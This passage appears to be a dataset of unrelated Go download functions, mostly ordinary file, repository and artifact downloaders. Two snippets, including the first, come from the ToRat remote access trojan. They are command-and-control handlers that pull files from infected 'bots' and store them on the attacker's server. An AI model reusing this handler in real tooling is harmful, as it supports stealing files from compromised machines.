{\n\t\tc.ProgressBar().Final(yellow(\"[\"+client.Client.Name+\"] \") + red(\"[!] Download could not be sent to Server!\"))\n\t\tc.ProgressBar().Stop()\n\t\tc.Println(yellow(\"[\"+client.Client.Name+\"] \") + red(\"[!] \", err))\n\t\treturn\n\t}\n\n\tdlPath := filepath.Join(\"/ToRat/cmd/server/bots/\", client.Client.Hostname, r.Fpath)\n\tdlDir, _ := filepath.Split(dlPath)\n\n\tif err := os.MkdirAll(dlDir, os.ModePerm); err != nil {\n\t\tc.ProgressBar().Final(green(\"[Server] \") + red(\"[!] Could not create directory path!\"))\n\t\tc.ProgressBar().Stop()\n\t\tc.Println(green(\"[Server] \") + red(\"[!] \", err))\n\t\treturn\n\t}\n\n\tif err := ioutil.WriteFile(dlPath, r.Content, 0600); err != nil {\n\t\tc.ProgressBar().Final(green(\"[Server] \") + red(\"[!] Download failed to write to path!\"))\n\t\tc.ProgressBar().Stop()\n\t\tc.Println(green(\"[Server] \") + red(\"[!] \", err))\n\t\treturn\n\t}\n\n\tc.ProgressBar().Final(green(\"[Server] \") + green(\"[+] Download received\"))\n\tc.ProgressBar().Stop()\n}", "func VetRepositoryBulk(bot *VetBot, ir *IssueReporter, repo Repository) error {\n\trootCommitID, err := GetRootCommitID(bot, repo)\n\tif err != nil {\n\t\tlog.Printf(\"failed to retrieve root commit ID for repo %s/%s\", repo.Owner, repo.Repo)\n\t\treturn err\n\t}\n\turl, _, err := bot.client.GetArchiveLink(repo.Owner, repo.Repo, github.Tarball, nil, false)\n\tif err != nil {\n\t\tlog.Printf(\"failed to get tar link for %s/%s: %v\", repo.Owner, repo.Repo, err)\n\t\treturn err\n\t}\n\tfset := token.NewFileSet()\n\tcontents := make(map[string][]byte)\n\tvar files []*ast.File\n\tif err := func() error {\n\t\tresp, err := http.Get(url.String())\n\t\tif err != nil {\n\t\t\tlog.Printf(\"failed to download tar contents: %v\", err)\n\t\t\treturn err\n\t\t}\n\t\tdefer resp.Body.Close()\n\t\tunzipped, err := gzip.NewReader(resp.Body)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"unable to initialize unzip stream: %v\", err)\n\t\t\treturn err\n\t\t}\n\t\treader := tar.NewReader(unzipped)\n\t\tlog.Printf(\"reading contents of %s/%s\", repo.Owner, repo.Repo)\n\t\tfor {\n\t\t\theader, err := reader.Next()\n\t\t\tif err == io.EOF {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"failed to read tar entry\")\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tname := header.Name\n\t\t\tsplit := strings.SplitN(name, \"/\", 2)\n\t\t\tif len(split) < 2 {\n\t\t\t\tcontinue // we only care about files in a subdirectory (due to how GitHub returns archives).\n\t\t\t}\n\t\t\trealName := split[1]\n\t\t\tswitch header.Typeflag {\n\t\t\tcase tar.TypeReg:\n\t\t\t\tif IgnoreFile(realName) {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tbytes, err := ioutil.ReadAll(reader)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Printf(\"error reading contents of %s: %v\", realName, err)\n\t\t\t\t}\n\t\t\t\tfile, err := parser.ParseFile(fset, realName, bytes, parser.AllErrors)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Printf(\"failed to parse file %s: %v\", realName, err)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tcountLines(realName, bytes)\n\t\t\t\tfiles = append(files, file)\n\t\t\t\tcontents[fset.File(file.Pos()).Name()] = bytes\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t}(); err != nil {\n\t\treturn err\n\t}\n\tVetRepo(contents, files, fset, ReportFinding(ir, fset, rootCommitID, repo))\n\tcountFileStats(files)\n\tstats.FlushStats(bot.statsWriter, repo.Owner, repo.Repo)\n\treturn nil\n}", "func (p *FileInf) downloadFilesFromFolder(f fileS) error {\r\n\ttemp := []string{p.Workdir, p.SaveName, p.FileName, p.FileSize, p.MimeType, p.WantExt}\r\n\tp.Workdir = f.Path\r\n\text := filepath.Ext(f.Name)\r\n\tif ext == \"\" {\r\n\t\tf.Name += func() string {\r\n\t\t\tif f.MimeType != \"application/vnd.google-apps.script\" {\r\n\t\t\t\tif f.OutMimeType == \"\" {\r\n\t\t\t\t\treturn mime2ext(f.MimeType)\r\n\t\t\t\t}\r\n\t\t\t\treturn mime2ext(f.OutMimeType)\r\n\t\t\t}\r\n\t\t\treturn \"\"\r\n\t\t}()\r\n\t}\r\n\tp.SaveName = f.Name\r\n\tp.FileName = f.Name\r\n\tp.FileSize = f.Size\r\n\tp.MimeType = f.MimeType\r\n\tp.WantExt = func() string {\r\n\t\tif f.MimeType == \"application/vnd.google-apps.script\" {\r\n\t\t\treturn \"\"\r\n\t\t}\r\n\t\treturn p.WantExt\r\n\t}()\r\n\tp.Zip = true\r\n\tdurl := func() string {\r\n\t\tif f.OutMimeType == \"\" {\r\n\t\t\treturn driveapiurl + f.ID + \"?alt=media\"\r\n\t\t}\r\n\t\tif f.MimeType == \"application/vnd.google-apps.script\" {\r\n\t\t\treturn appsscriptapi + \"/\" + f.ID + \"/content\"\r\n\t\t}\r\n\t\treturn driveapiurl + f.ID + \"/export?mimeType=\" + f.OutMimeType\r\n\t}()\r\n\tp.writeFile(durl)\r\n\tp.Workdir, p.SaveName, p.FileName, p.FileSize, p.MimeType, p.WantExt = func(e []string) (string, string, string, string, string, string) {\r\n\t\treturn e[0], e[1], e[2], e[3], e[4], e[5]\r\n\t}(temp)\r\n\treturn nil\r\n}", "func (ac *activeClient) Download(c *ishell.Context) {\n\tvar r shared.File\n\targ := strings.Join(c.Args, \" \")\n\n\tc.ProgressBar().Indeterminate(true)\n\tc.ProgressBar().Start()\n\n\terr := ac.RPC.Call(\"API.SendFile\", arg, &r)\n\tif err != nil {\n\t\tc.ProgressBar().Final(yellow(\"[\"+ac.Data().Name+\"] \") + red(\"[!] Download could not be sent to Server:\", err))\n\t\tc.ProgressBar().Stop()\n\t\treturn\n\t}\n\n\tdlPath := filepath.Join(ac.Data().Path, r.Fpath)\n\tdlDir, _ := filepath.Split(dlPath)\n\n\tif err := os.MkdirAll(dlDir, os.ModePerm); err != nil {\n\t\tc.ProgressBar().Final(green(\"[Server] \") + red(\"[!] Could not create directory path:\", err))\n\t\tc.ProgressBar().Stop()\n\t\treturn\n\t}\n\n\tif err := os.WriteFile(dlPath, r.Content, 0777); err != nil {\n\t\tc.ProgressBar().Final(green(\"[Server] \") + red(\"[!] Download failed to write to path:\", err))\n\t\tc.ProgressBar().Stop()\n\t\treturn\n\t}\n\n\tc.ProgressBar().Final(green(\"[Server] \") + green(\"[+] Download received\"))\n\tc.ProgressBar().Stop()\n}", "func (d *DescriptorService) Download(ctx context.Context, payload *models.FileDownload) (*models.FileData, error) {\n\tfilename := path.Join(payload.Namespace, payload.Name, payload.Version)\n\tdata, err := d.Store.Get(ctx, filename)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &models.FileData{\n\t\tContentLength: data.Size(),\n\t\tReader: data,\n\t}, nil\n}", "func (a *httpAxel) Download() error {\n\t// if save path exists, return conflicts\n\tif _, err := os.Stat(a.save); err == nil {\n\t\treturn fmt.Errorf(\"conflicts, save path [%s] already exists\", a.save)\n\t}\n\n\t// get the header & size\n\t// prepare for the chunk size\n\tresp, err := a.client.Get(a.remoteURL)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\t// return if not http status 200\n\tif code := resp.StatusCode; code != http.StatusOK {\n\t\treturn fmt.Errorf(\"%d - %s\", code, http.StatusText(code))\n\t}\n\n\t// detect total size & partial support\n\t// note: reset conn=1 if total size unknown\n\t// note: reset conn=1 if not supported partial download\n\ta.totalSize = resp.ContentLength\n\ta.supportPart = resp.Header.Get(\"Accept-Ranges\") != \"\"\n\tif a.totalSize <= 1 || !a.supportPart {\n\t\ta.conn = 1\n\t}\n\n\t// directly download and save\n\tif a.conn == 1 {\n\t\treturn a.directSave(resp.Body)\n\t}\n\n\t// partial downloa and save by concurrency\n\ta.chunkSize = a.totalSize / int64(a.conn)\n\ta.chunksDir = path.Join(filepath.Dir(a.save), filepath.Base(a.save)+\".chunks\")\n\tdefer os.RemoveAll(a.chunksDir)\n\n\t// concurrency get each chunks\n\terr = a.getAllChunks()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// join each pieces to the final save path\n\treturn a.join()\n}", "func download(asset Asset, subDir bool) {\n\tlocation := \"./\"\n\tif subDir == true {\n\t\tlocation = \"./\" + Transporter.LatestVersion + \"/\"\n\t}\n\n\terr := downloadFile(asset.BrowserDownloadURL, location)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\n\t//Create and Add CDN API URL\n\tvar api string = \"https://cdn.jsdelivr.net/gh/\" + Transporter.ThisOwner + \"/\" + Transporter.ThisRepo + \"@\" + Transporter.LatestVersion + \"/\"\n\tif subDir == true {\n\t\tapi += Transporter.LatestVersion + \"/\" + asset.Name\n\t} else {\n\t\tapi += asset.Name\n\t}\n\tTransporter.Files = append(Transporter.Files, api)\n\t//提示 hint\n\tfmt.Println(\" -- Downloaded\")\n}", "func downloadFiles(urls []string) {\n\tvar wg sync.WaitGroup\n\tfor _, u := range urls {\n\t\twg.Add(1)\n\t\tgo func(uu string) {\n\t\t\tdownloadFromURL(uu)\n\t\t\twg.Done()\n\t\t}(u)\n\t}\n\twg.Wait()\n}", "func GetRemoteArtifactFiles(artDetails *jfauth.ServiceDetails, repos *[]string) (*list.List, error) {\n\tfolders := make(chan string, 4096)\n\tfiles := make(chan string, 1024)\n\trtfacts := list.New()\n\n\tvar workerg sync.WaitGroup\n\tconst numWorkers = 8\n\tworkerg.Add(numWorkers)\n\tfor i := 0; i < numWorkers; i++ {\n\t\tgo func() {\n\t\t\tgetRemoteArtifactWorker(artDetails, folders, files)\n\t\t\tworkerg.Done()\n\t\t}()\n\t}\n\tjflog.Info(fmt.Sprintf(\"Created %d getRemoteArtifactWorker() go routines\", numWorkers))\n\n\tgo func(rl *[]string, chFolder chan<- string) {\n\t\tfor _, r := range *rl {\n\t\t\tchFolder <- r\n\t\t}\n\t}(repos, folders)\n\tjflog.Info(fmt.Sprintf(\"Pushed initial remote repo's\"))\n\n\tconst getArtiTimeout = 60\n\tvar collectorg sync.WaitGroup\n\tcollectorg.Add(1)\n\tgo func() {\n\t\tdefer collectorg.Done()\n\t\tfor {\n\t\t\ttimeout := time.After(getArtiTimeout * time.Second)\n\t\t\tselect {\n\t\t\tcase f := <-files:\n\t\t\t\trtfacts.PushBack(f)\n\t\t\t\tjflog.Debug(f)\n\t\t\t\tif rtfacts.Len()%1000 == 0 {\n\t\t\t\t\tjflog.Info(fmt.Sprintf(\"collector_goroutine() artifact : %s, rt-count = %d\", f, rtfacts.Len()))\n\t\t\t\t}\n\t\t\tcase <-timeout:\n\t\t\t\tfmt.Printf(\"Timeout after %d seconds\\n\", getArtiTimeout)\n\t\t\t\tjflog.Info(fmt.Printf(\"Timeout after %d seconds\", getArtiTimeout))\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}()\n\n\tcollectorg.Wait()\n\tjflog.Info(fmt.Sprintf(\"All results collected, collector_goroutine() done, closing folders channel\"))\n\tclose(folders)\n\tworkerg.Wait()\n\tjflog.Info(fmt.Sprintf(\"All getRemoteArtifactWorker() completed, closing files channel\"))\n\tclose(files)\n\n\treturn rtfacts, nil\n}", "func (p *GitProvider) Download(path string, debug bool, handlers ...interface{}) error {\n\turi := ensureHTTPS(p.getURL())\n\tfullPath := p.GetBasePath(path)\n\n\tvar handler remoteHandler = gitV4Handler{}\n\tif len(handlers) == 1 {\n\t\thandler = handlers[0].(remoteHandler)\n\t}\n\n\treturn DownloadFromGitHub(handler, uri, fullPath, debug)\n}", "func Download() {\n\tresponse, err := http.Get(FIRST_NODE_ADDR + \"/upload\")\n\tif err != nil {\n\t\tfmt.Println(\"Cant reach TA server\")\n\t\tos.Exit(1)\n\t}\n\tdefer response.Body.Close()\n\n\tresponseData, err := ioutil.ReadAll(response.Body)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tresponseString := string(responseData)\n\tSBC.UpdateEntireBlockChain(responseString)\n\ttransactionMpt = SBC.GetLatestBlocks()[0].Transactions\n\treadAllUsersFromTransactionHistory()\n}", "func (cc *CopyCommand) downloadFiles(srcURL CloudURL, destURL FileURL) error {\n\tbucket, err := cc.command.ossBucket(srcURL.bucket)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfilePath, err := cc.adjustDestURLForDownload(destURL)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tLogInfo(\"downloadFiles,recursive flag:%t\\n\", cc.cpOption.recursive)\n\tif !cc.cpOption.recursive {\n\t\tif srcURL.object == \"\" {\n\t\t\treturn fmt.Errorf(\"copy object invalid url: %v, object empty. If you mean batch copy objects, please use --recursive option\", srcURL.ToString())\n\t\t}\n\n\t\t// it is a \"Dir\" object\n\t\tif strings.HasSuffix(srcURL.object, \"/\") {\n\t\t\treturn fmt.Errorf(\"%v is a directory (not support copied) object, please use --recursive option\", srcURL.object)\n\t\t}\n\n\t\tindex := strings.LastIndex(srcURL.object, \"/\")\n\t\tprefix := \"\"\n\t\trelativeKey := srcURL.object\n\t\tif index > 0 {\n\t\t\tprefix = srcURL.object[:index+1]\n\t\t\trelativeKey = srcURL.object[index+1:]\n\t\t}\n\n\t\tgo cc.objectStatistic(bucket, srcURL)\n\t\terr := cc.downloadSingleFileWithReport(bucket, objectInfoType{prefix, relativeKey, -1, time.Now()}, filePath)\n\t\treturn cc.formatResultPrompt(err)\n\t}\n\treturn cc.batchDownloadFiles(bucket, srcURL, filePath)\n}", "func (c *stampCollection) download() error {\n\tc.updated = time.Now()\n\n\turi := fmt.Sprintf(\"https://raw.githubusercontent.com/neoPix/bluelinky-stamps/master/%s-%s.v2.json\", c.Brand, c.AppID)\n\n\tif err := client.GetJSON(uri, &c); err != nil {\n\t\treturn fmt.Errorf(\"failed to download stamps: %w\", err)\n\t}\n\n\treturn nil\n}", "func (r *revaDownloader) Download(ctx context.Context, id *provider.ResourceId, dst io.Writer) error {\n\tgatewayClient, err := r.gatewaySelector.Next()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdownResp, err := gatewayClient.InitiateFileDownload(ctx, &provider.InitiateFileDownloadRequest{\n\t\tRef: &provider.Reference{\n\t\t\tResourceId: id,\n\t\t\tPath: \".\",\n\t\t},\n\t})\n\n\tswitch {\n\tcase err != nil:\n\t\treturn err\n\tcase downResp.Status.Code != rpc.Code_CODE_OK:\n\t\treturn errtypes.InternalError(downResp.Status.Message)\n\t}\n\n\tp, err := getDownloadProtocol(downResp.Protocols, \"simple\")\n\tif err != nil {\n\t\tp, err = getDownloadProtocol(downResp.Protocols, \"spaces\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\thttpReq, err := rhttp.NewRequest(ctx, http.MethodGet, p.DownloadEndpoint, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\thttpReq.Header.Set(datagateway.TokenTransportHeader, p.Token)\n\n\thttpRes, err := r.httpClient.Do(httpReq)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer httpRes.Body.Close()\n\n\tif err := errtypes.NewErrtypeFromHTTPStatusCode(httpRes.StatusCode, id.String()); err != nil {\n\t\treturn err\n\t}\n\n\t_, err = io.Copy(dst, httpRes.Body)\n\treturn err\n}", "func fileTreeDownloadGetHandler(w http.ResponseWriter, r *http.Request) {\n\tfileTreeUpDownGet(theCfg.downloadDir, w, r)\n}", "func FromRepo(url, dir string) ([]string, error) {\n\tdata, err := downloadFile(url)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn unzipFiles(data, dir)\n}", "func download(URL, fPath string) error {\n\tisoReader, err := linkOpen(URL)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer isoReader.Close()\n\tf, err := os.Create(fPath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\tcounter := &WriteCounter{}\n\tif _, err = io.Copy(f, io.TeeReader(isoReader, counter)); err != nil {\n\t\treturn fmt.Errorf(\"Fail to copy iso to a persistent memory device: %v\", err)\n\t}\n\tfmt.Println(\"\\nDone!\")\n\tverbose(\"%q is downloaded at %q\\n\", URL, fPath)\n\treturn nil\n}", "func (c *Client) Download(namespace string, d core.Digest) (io.ReadCloser, error) {\n\tresp, err := httputil.Get(\n\t\tfmt.Sprintf(\n\t\t\t\"http://%s/namespace/%s/blobs/%s\",\n\t\t\tc.addr, url.PathEscape(namespace), d))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn resp.Body, nil\n}", "func (this *Bootstrap) downloadScripts() error {\n\n\tlog.Info(\"Download configs\")\n\n\tlog.Info(\"Project URL - \", ProjectUrl)\n\n\t//DownloadFile function declaration is DownloadFile(url string, pathToSave string, fileName string) error\n\n\tvargrantUrl := fmt.Sprintf(\"%s/Vagrantfile\", ProjectUrl)\n\t//download shipped/vargantfile.\n\tif err := DownloadFile(vargrantUrl, \".shipped\", \"Vagrantfile\"); err != nil {\n\t\treturn err\n\t}\n\n\tmakefileUrl := fmt.Sprintf(\"%s/makefile\", ProjectUrl)\n\t//download Make file\n\tif err := DownloadFile(makefileUrl, \".\", \"Makefile\"); err != nil {\n\t\treturn err\n\t}\n\n\t//Git Clone download code will go here.\n\t//...\n\t//...I need to check if i can use use git commands using GO or I need to run shell for the same.\n\t//..\n\n\tlog.Info(\"Verifed all config file for project\")\n\treturn nil\n}", "func downloadToCache(platform string, appDir string, version string, useBasicAuth bool) ([]byte, error) {\n\tif _, err := os.Stat(appDir); os.IsNotExist(err) {\n\t\tappdirErr := os.Mkdir(appDir, os.ModePerm)\n\t\tif appdirErr != nil {\n\t\t\tlog.Errorf(\"couldn't create directory %v Error %v\", appDir, appdirErr)\n\t\t}\n\t}\n\tcacheDir := path.Join(appDir, kftypes.DefaultCacheDir)\n\t// idempotency\n\tif _, err := os.Stat(cacheDir); !os.IsNotExist(err) {\n\t\tos.RemoveAll(cacheDir)\n\t}\n\tcacheDirErr := os.Mkdir(cacheDir, os.ModePerm)\n\tif cacheDirErr != nil {\n\t\treturn nil, &kfapis.KfError{\n\t\t\tCode: int(kfapis.INVALID_ARGUMENT),\n\t\t\tMessage: fmt.Sprintf(\"couldn't create directory %v Error %v\", cacheDir, cacheDirErr),\n\t\t}\n\t}\n\t// Version can be\n\t// --version master\n\t// --version tag\n\t// --version pull/<ID>/head\n\ttarballUrl := kftypes.DefaultGitRepo + \"/\" + version + \"?archive=tar.gz\"\n\ttarballUrlErr := gogetter.GetAny(cacheDir, tarballUrl)\n\tif tarballUrlErr != nil {\n\t\treturn nil, &kfapis.KfError{\n\t\t\tCode: int(kfapis.INVALID_ARGUMENT),\n\t\t\tMessage: fmt.Sprintf(\"couldn't download kubeflow repo %v Error %v\", tarballUrl, tarballUrlErr),\n\t\t}\n\t}\n\tfiles, filesErr := ioutil.ReadDir(cacheDir)\n\tif filesErr != nil {\n\t\treturn nil, &kfapis.KfError{\n\t\t\tCode: int(kfapis.INVALID_ARGUMENT),\n\t\t\tMessage: fmt.Sprintf(\"couldn't read %v Error %v\", cacheDir, filesErr),\n\t\t}\n\t}\n\tsubdir := files[0].Name()\n\textractedPath := filepath.Join(cacheDir, subdir)\n\tnewPath := filepath.Join(cacheDir, version)\n\tif strings.Contains(version, \"/\") {\n\t\tparts := strings.Split(version, \"/\")\n\t\tversionPath := cacheDir\n\t\tfor i := 0; i < len(parts)-1; i++ {\n\t\t\tversionPath = filepath.Join(versionPath, parts[i])\n\t\t\tversionPathErr := os.Mkdir(versionPath, os.ModePerm)\n\t\t\tif versionPathErr != nil {\n\t\t\t\treturn nil, &kfapis.KfError{\n\t\t\t\t\tCode: int(kfapis.INTERNAL_ERROR),\n\t\t\t\t\tMessage: fmt.Sprintf(\"couldn't create directory %v Error %v\",\n\t\t\t\t\t\tversionPath, versionPathErr),\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\trenameErr := os.Rename(extractedPath, newPath)\n\tif renameErr != nil {\n\t\treturn nil, &kfapis.KfError{\n\t\t\tCode: int(kfapis.INVALID_ARGUMENT),\n\t\t\tMessage: fmt.Sprintf(\"couldn't rename %v to %v Error %v\", extractedPath, newPath, renameErr),\n\t\t}\n\t}\n\t//TODO see #2629\n\tconfigPath := filepath.Join(newPath, kftypes.DefaultConfigDir)\n\tif platform == kftypes.GCP {\n\t\tif useBasicAuth {\n\t\t\tconfigPath = filepath.Join(configPath, kftypes.GcpBasicAuth)\n\t\t} else {\n\t\t\tconfigPath = filepath.Join(configPath, kftypes.GcpIapConfig)\n\t\t}\n\t} else {\n\t\tconfigPath = filepath.Join(configPath, kftypes.DefaultConfigFile)\n\t}\n\tif data, err := ioutil.ReadFile(configPath); err == nil {\n\t\treturn data, nil\n\t} else {\n\t\treturn nil, &kfapis.KfError{\n\t\t\tCode: int(kfapis.INVALID_ARGUMENT),\n\t\t\tMessage: err.Error(),\n\t\t}\n\t}\n}", "func Download(r *Repo, dir, vendorRev string) (string, error) {\n\n\t// if that repo already exists, remove it\n\tif err := os.RemoveAll(filepath.Join(dir, r.ImportPath)); err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// create the repository at a specific revision\n\tif vendorRev == \"\" || vendorRev == \"latest\" {\n\t\tif err := r.VCS.Create(filepath.Join(dir, r.ImportPath), r.URL); err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t} else {\n\t\tif err := r.VCS.CreateAtRev(filepath.Join(dir, r.ImportPath), r.URL, vendorRev); err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\n\t// identify the particular revision of the codebase\n\trev, err := r.VCS.Identify(filepath.Join(dir, r.ImportPath))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif err := Clean(filepath.Join(dir, r.ImportPath)); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn rev, nil\n}", "func Download(url, user, pass, path string) error {\n\tdirectory := filepath.Dir(path)\n\n\tif _, err := os.Stat(directory); os.IsNotExist(err) {\n\t\terr = os.MkdirAll(directory, 0755)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tf, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\n\treq, err := http.NewRequest(\"GET\", url, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treq.SetBasicAuth(user, pass)\n\n\tclient := &http.Client{}\n\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn fmt.Errorf(\"bad status: %s\", resp.Status)\n\t}\n\n\t_, err = io.Copy(f, resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (c *Client) Download(namespace, name string, dst io.Writer) error {\n\tpath, err := c.pather.BlobPath(name)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"blob path: %s\", err)\n\t}\n\treturn c.webhdfs.Open(path, dst)\n}", "func GetFilesDetails(username, apiKey, url, repo, download string) helpers.TimeSlice {\n\n\t//create map of all file details from list of files\n\tvar unsorted = make(map[int]helpers.FileStorageJSON)\n\tvar filesList helpers.StorageJSON\n\tvar data, _ = auth.GetRestAPI(url+\"/api/storage/\"+repo+\"/\"+download+\"/\", username, apiKey, \"\", \"\")\n\tjson.Unmarshal([]byte(data), &filesList)\n\tfor len(filesList.Children) == 0 {\n\t\tfmt.Println(\"No files found under \" + url + \"/\" + repo + \"/\" + download + \"/. Enter again, or type n to quit:\")\n\t\treader := bufio.NewReader(os.Stdin)\n\t\tdownloadIn, _ := reader.ReadString('\\n')\n\t\tdownload = strings.TrimSuffix(downloadIn, \"\\n\")\n\t\tif download == \"n\" {\n\t\t\tos.Exit(0)\n\t\t}\n\t\tdata, _ = auth.GetRestAPI(url+\"/api/storage/\"+repo+\"/\"+download+\"/\", username, apiKey, \"\", \"\")\n\t\tjson.Unmarshal([]byte(data), &filesList)\n\t}\n\tfmt.Println(\"Found the following files under \" + url + \"/\" + repo + \"/\" + download + \"/\\nNumber\\tLast Modified\\t\\tSize\\tPath\")\n\tvar mutex = &sync.Mutex{} //should help with the concurrent map writes issue\n\tvar wg sync.WaitGroup //multi threading the GET details request\n\twg.Add(len(filesList.Children))\n\tfor i := 0; i < len(filesList.Children); i++ {\n\t\tgo func(i int) {\n\t\t\tdefer wg.Done()\n\t\t\tvar fileDetail helpers.FileStorageJSON\n\t\t\tvar data2, _ = auth.GetRestAPI(url+\"/api/storage/\"+repo+\"/\"+download+filesList.Children[i].URI, username, apiKey, \"\", \"\")\n\t\t\tjson.Unmarshal([]byte(data2), &fileDetail)\n\t\t\tlog.Debug(\"Debug before, url details:\", fileDetail.DownloadURI, \" :\", url, \" :data:\", fileDetail, \" download uri:\", download+filesList.Children[i].URI)\n\n\t\t\tif strings.Contains(download+filesList.Children[i].URI, \"%\") {\n\t\t\t\tlog.Warn(\"Encoding charactrer % detected in file URL, \", download+filesList.Children[i].URI, \", skipping\")\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif !strings.Contains(fileDetail.DownloadURI, url) {\n\t\t\t\tlog.Debug(\"Debug, url details:\", fileDetail.DownloadURI, \" :\", url, \" :data:\", fileDetail)\n\t\t\t\tlog.Warn(\"It looks like your URL context has been updated, as the file URL is different. Please reset your download.json\")\n\t\t\t\t//os.Exit(1)\n\t\t\t}\n\t\t\ttime, _ := time.Parse(time.RFC3339, fileDetail.LastModified)\n\t\t\tmutex.Lock()\n\t\t\tunsorted[i+1] = helpers.FileStorageJSON{\n\t\t\t\tLastModified: fileDetail.LastModified,\n\t\t\t\tConvertedTime: time,\n\t\t\t\tSize: fileDetail.Size,\n\t\t\t\tPath: fileDetail.Path,\n\t\t\t\tDownloadURI: fileDetail.DownloadURI,\n\t\t\t\tChecksums: fileDetail.Checksums,\n\t\t\t}\n\t\t\tmutex.Unlock()\n\t\t}(i)\n\t}\n\twg.Wait()\n\n\t//get unsorted data and sort it\n\tsorted := make(helpers.TimeSlice, 0, len(unsorted))\n\tfor _, d := range unsorted {\n\t\tsorted = append(sorted, d)\n\t}\n\tsort.Sort(sorted)\n\thelpers.PrintSorted(sorted, url, repo, download)\n\treturn sorted\n}", "func (service *Service) ListFiles(repositoryURL, referenceName, username, password string, dirOnly, hardRefresh bool, includedExts []string, tlsSkipVerify bool) ([]string, error) {\n\trepoKey := generateCacheKey(repositoryURL, referenceName, username, password, strconv.FormatBool(tlsSkipVerify), strconv.FormatBool(dirOnly))\n\n\tif service.cacheEnabled && hardRefresh {\n\t\t// Should remove the cache explicitly, so that the following normal list can show the correct result\n\t\tservice.repoFileCache.Remove(repoKey)\n\t}\n\n\tif service.repoFileCache != nil {\n\t\t// lookup the files cache first\n\t\tcache, ok := service.repoFileCache.Get(repoKey)\n\t\tif ok {\n\t\t\tfiles, success := cache.([]string)\n\t\t\tif success {\n\t\t\t\t// For the case while searching files in a repository without include extensions for the first time,\n\t\t\t\t// but with include extensions for the second time\n\t\t\t\tincludedFiles := filterFiles(files, includedExts)\n\t\t\t\treturn includedFiles, nil\n\t\t\t}\n\t\t}\n\t}\n\n\toptions := fetchOption{\n\t\tbaseOption: baseOption{\n\t\t\trepositoryUrl: repositoryURL,\n\t\t\tusername: username,\n\t\t\tpassword: password,\n\t\t\ttlsSkipVerify: tlsSkipVerify,\n\t\t},\n\t\treferenceName: referenceName,\n\t\tdirOnly: dirOnly,\n\t}\n\n\tvar (\n\t\tfiles []string\n\t\terr error\n\t)\n\tif isAzureUrl(options.repositoryUrl) {\n\t\tfiles, err = service.azure.listFiles(context.TODO(), options)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t} else {\n\t\tfiles, err = service.git.listFiles(context.TODO(), options)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tincludedFiles := filterFiles(files, includedExts)\n\tif service.cacheEnabled && service.repoFileCache != nil {\n\t\tservice.repoFileCache.Add(repoKey, includedFiles)\n\t\treturn includedFiles, nil\n\t}\n\treturn includedFiles, nil\n}", "func Download(artifactInfo ArtifactInfo, nexusHost string) error {\n\tvalidatedVersion, err := FindArtifact(&artifactInfo, nexusHost)\n\tbaseDownloadURL := nexusHost + nexusDownloadPath\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdownloadString := fmt.Sprintf(baseDownloadURL, artifactInfo.RepositoryID, artifactInfo.GroupID, artifactInfo.ArtifactID, artifactInfo.Packaging, validatedVersion, artifactInfo.Classifier)\n\n\tdownloadURL, err := url.Parse(downloadString)\n\n\tif artifactInfo.Verbose {\n\t\tlog.Printf(\"Download url: %s\", downloadURL.String())\n\t}\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdownloadOptions := download.Options{\n\t\tURL: *downloadURL,\n\t\tFilename: artifactInfo.ApplicationName,\n\t\tFileExtension: artifactInfo.Packaging,\n\t\tFolderPath: artifactInfo.TargetFolder,\n\t}\n\n\terr = download.GetFile(downloadOptions)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func download(c *king.Config, args []string) error {\n\tvar fn bool\n\n\tdo := new(king.DownloadOptions)\n\n\tpf := pflag.NewFlagSet(\"\", pflag.ExitOnError)\n\n\tpf.BoolVarP(&do.Overwrite, \"force\", \"f\", false, \"\")\n\tpf.BoolVarP(&fn, \"no-bar\", \"n\", false, 